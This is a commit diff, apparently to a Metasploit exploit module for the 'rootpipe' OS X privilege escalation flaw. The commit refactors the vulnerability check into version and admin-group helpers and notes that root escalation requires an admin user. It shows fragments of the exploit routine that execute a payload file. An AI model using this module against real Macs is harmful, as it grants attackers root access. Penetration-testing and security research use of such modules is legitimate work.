Add admin check

Also break out version check.

Author: wvu

modules/exploits/osx/local/rootpipe.rb

@@ -23,6 +23,8 @@ def initialize(info = {})
         Tested on Yosemite 10.10.2 and should work on previous versions.
 
         The patch for this issue was not backported to older releases.
+
+        Note: you must run this exploit as an admin user to escalate to root.
       },
       'Author'         => [
         'Emil Kvarnhammar', # Vulnerability discovery and PoC
@@ -57,9 +59,7 @@ def initialize(info = {})
   end
 
   def check
-    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
-      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
-    ) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
+    (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
   end
 
   def exploit
@@ -77,6 +77,16 @@ def exploit
     cmd_exec(payload_file)
   end
 
+  def ver?
+    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
+      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
+    )
+  end
+
+  def admin?
+    cmd_exec('groups | grep -wq admin && echo true') == 'true'
+  end
+
   def sploit
     "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
   end